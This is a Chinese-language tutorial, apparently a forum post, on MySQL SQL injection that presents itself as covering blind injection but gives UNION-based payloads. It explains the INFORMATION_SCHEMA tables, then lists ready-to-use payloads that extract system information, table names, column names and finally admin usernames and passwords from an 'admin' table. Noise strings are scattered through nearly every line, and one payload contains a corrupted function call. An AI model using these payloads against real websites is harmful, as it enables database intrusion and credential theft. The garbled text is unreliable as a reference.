本文介绍MYSQL盲注的一些语句和方法
$ m1 Z8 x0 p1 S l/ v3 m4 t& K2 e
学习盲注前先了解下 IFORMATION_SCHEMA 库
/ v) D5 B) F7 U) q% W
4 i9 `( [" L1 R. c/ e7 GMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有2 o# ^1 `0 h) `
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。9 \9 x- g, x% A9 Y5 p
1.得到所有数据库名:
# O; n0 F2 u( D8 `0 o- E|SCHEMATA ->存储数据库名的表5 _) l( x; n6 b/ o% h7 ^
|---字段:SCHEMA_NAME ->数据库名称
8 m, i, x) |3 A, w& o, G) x/ g6 h, b. K2 }$ ?3 r/ `8 v# S% G
|TABLES ->存储表名
' P4 C& M, M7 M; h, g0 z- w! y|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名3 ]4 a& O( [( l
|---字段:TABLE_NAME ->存储表的表名4 Y. c1 v M1 f$ l3 ]
7 ~0 B3 j) C3 `
|COLUMNS ->存储的字段名表
! ^2 |6 Z7 @ y2 I+ \|---字段:TABLE_SCHEMA ->该字段所属数据库名2 z- D$ S* U; h: u6 K2 Y6 J( C4 f! |
|---字段:TABLE_NAME ->存储所属表的名称
: L; m! W+ f* H4 G; t5 c9 A* k1 C: D1 O
|---字段:COLUMN_NAME ->该字段的名称2 z6 c( {% R" [4 \, M% c. x/ ~
/ L3 n. Q( V) g2 |7 y3 [ 2 o; `( @* S4 r; P- J5 a
1 @( P2 z. O5 |5 T
###########################################################################$ s! n$ _, W n
" w" [9 a- w, U5 l! i% q b5 D0x001 获取系统信息:
- m* v+ s" P3 n9 k o# r; w( T/ @) g
$ T$ Q( b/ }& `* Y* Uunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*5 A; |: L. Q: J
% d6 z& u3 p9 R1 _, X1 n$ ^
/*
3 h _* F, x, x5 w! T5 o
+ Q4 {/ s$ j/ M* g7 e" i, l7 B@@global.version_compile_os 获取系统版本
( O& \& @/ U- p' [3 ?" j! w* t! ?1 D1 p0 x6 T5 m
@@datadir 数据库路径
3 L1 j$ b2 K0 f; {/ d' W0 M% ldatabase() 当前数据库名称1 L) H' W+ `$ F% j, o
0x3c62723e 换行HEX值
7 r' r2 U) J- H, f7 f4 F( J! p$ I6 q$ n1 {9 o
*/
2 Z8 x- E6 G: _; W; x% Y
( ]& `' @" M6 s9 A2 u% R$ E1 e
! c9 ~+ d9 {( q2 B3 O0 Q3 o) b& e% M1 _4 v4 Z& v
######################################################################% U' \! }& S; s, E8 B( A3 f
. Q' i* m: f% q0x002 获取表名
4 ?) e" Q$ N2 e" S3 H( g6 N" H; M& \% P
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
7 |; {2 z* w* p$ w- t& o: w4 T4 @, t# B, r8 O
0 W. p" a* V {
- Y& e& @9 ?6 t! U" i/*' f& N6 @9 I6 c" F1 L5 M
2 i& A9 D5 f _% ^( I$ [$ f0x67617264656e 为当前数据库名' {5 \: u! w2 Y' w! D: R) p
, z$ t2 o F9 ^+ M2 x8 [4 u
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名 y& Q0 A" H9 _! c- \9 n
5 t& T: C0 n, W1 t' Y5 p, q*/
2 O& f9 O+ d, z0 F7 u8 d3 K* H- b2 h
######################################################################1 X4 D" H: C4 V, D, p
5 H5 m% q) @. c/ J
4 Z* ?+ g' O$ r) S. X' t0 J
$ X! Y& H; A* J0x003 获取字段: W0 M ~ y* W
* O! G" m' M6 @. r/ H$ Punion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*- ^/ g% x- P- P
1 g0 K. a4 C. P% ~7 e
/*5 {- K0 u: i+ k! \; u
* k5 n9 ~$ C: }( n% f. A! _' Cgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
" }. V' Z" e) L& Z9 T6 ^0 y; n3 k9 i! j6 P/ p- W
0x61646d696e ->选择一个表5 m8 J8 p; [4 Y. Y; S6 ^' ^$ x# G
, {9 l& m( Q/ v3 L2 H: N1 a V( F0x67617264656e ->数据库名4 P3 ^2 f2 H! L
5 f l" x9 A5 ?# p/ k T" t* ]*/
7 S, C& l$ l! i n+ Y* l+ d- @: _& v
#####################################################################
$ R* g+ F7 J% _5 d# C+ r2 b: x
& q$ C; l$ y' s/ L ! v! j, ?, B1 ]. g" V* m
" u4 M- E5 n9 A$ p; x6 W6 x0x004 获取数据
* ?0 f3 N. i, V: ~* Q* J4 L9 V+ I; M3 `- I8 d
union select 1,2,3
2 X& F+ S+ Q% U6 x5 R C,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 c9 ~# T( P; W5 T# }# G6 e" J; Y0 ?5 G9 N2 J2 M5 o' C
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 o( g1 F6 H: j3 e6 o4 o: X
3 q& Y3 c8 H8 [8 F. c! P% C 8 e6 G" s2 `2 Z3 c( u' `
- e: T; q( \8 B# o" T! N/*, r$ s2 i. a8 h) a( c9 q9 E" m& J
f, [! O8 B( N: A5 T0 d5 B9 I0x3c62723e 换行符号HEX编码
1 g# E/ u& }6 {5 I( I; P* L% ?/ \/ \9 \) u1 r* U, h4 ^
group_concat 同时获得该字段所有数据0 F" W( m0 q6 s
# G$ Y, l4 Q: B/ ^& S5 t*// ?# R5 y8 K& G* ~! @2 ~
# ?" H, q0 k9 [% x |